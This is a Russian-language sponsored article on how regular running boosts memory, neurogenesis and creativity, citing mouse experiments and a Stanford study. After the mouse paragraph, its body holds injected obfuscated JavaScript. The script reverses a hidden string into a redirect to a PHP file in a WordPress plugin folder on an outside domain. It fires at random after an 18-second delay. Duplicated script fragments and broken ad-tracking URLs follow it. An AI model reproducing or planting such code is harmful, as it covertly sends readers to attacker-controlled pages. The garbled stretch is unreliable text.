Регулярные занятия бегом помогают не только телу, но и мозгу, улучшая вашу память. А даже короткие аэробные нагрузки способны вызвать «всплеск» творческих способностей. Как всё это работает и сколько нужно бегать, узнали с Aqua Minerale Active.
Конечно, бег не сделает вас умнее просто так, по волшебству. Но беговые тренировки точно укрепят память и даже помогут предотвратить возрастные заболевания, например деменцию. Всё дело в том, что бегая вы стимулируете рост новых нервных клеток в гиппокампе — области мозга, которая отвечает за процесс обучения и запоминания.
Раньше считалось, что с возрастом у человека перестают появляться новые нервные клетки. Но оказалось, что это не так. Более того, на процесс образования нейронов влияет то, что происходит с нами. Например, радиация может ощутимо замедлить нейрогенез. Наш «любимый» стресс тоже очень опасен. А вот бег, наоборот, помогает, причём в любом возрасте. В экспериментах, которые проводили над мышами, учёные выяснили, что при регулярных аэробных нагрузках (мыши бегали в колесе) способность мозга создавать новые нервные клетки увеличивается в два раза. $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru/B20178022.202749032;dc_trk_aid=402606213;dc_trk_cid=91631806;ord=timestamp;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=?https://www.tns-counter.ru/V13a****omd_ru/ru/UTF-8/tmsec=omd_cid1019631-posid1239703/random%»>
Кроме того, во время пробежки наш мозг насыщается кислородом, происходит всплеск эндорфинов. Это устанавливает в мозгу новые нейронные связи и улучшает память.
Ещё один эксперимент, теперь уже на людях, показал, что даже нерегулярные тренировки помогают временно активировать творческие способности человека. Исследователи из Стэнфорда попросили студентов решить одну и ту же задачу. Только одна группа размышляла над заданием пока бегала, а другая сидела в комнате за столом. Оказалось, что участники эксперимента из первой группы лучше справлялись с заданием и находили более нестандартные варианты решения вопроса. Так что если вам никак не даётся какая-то сложная рабочая задача ─ выходите на пробежку.
Ещё больше информации и советов для тех, кто любит бег:
Перейти
Статьи по теме
Как вода влияет на спортивные результаты
Почему компрессионная одежда помогает при беге
Как пробежать марафон в невесомости
Как теннисный мяч поможет избавиться от боли в ногах
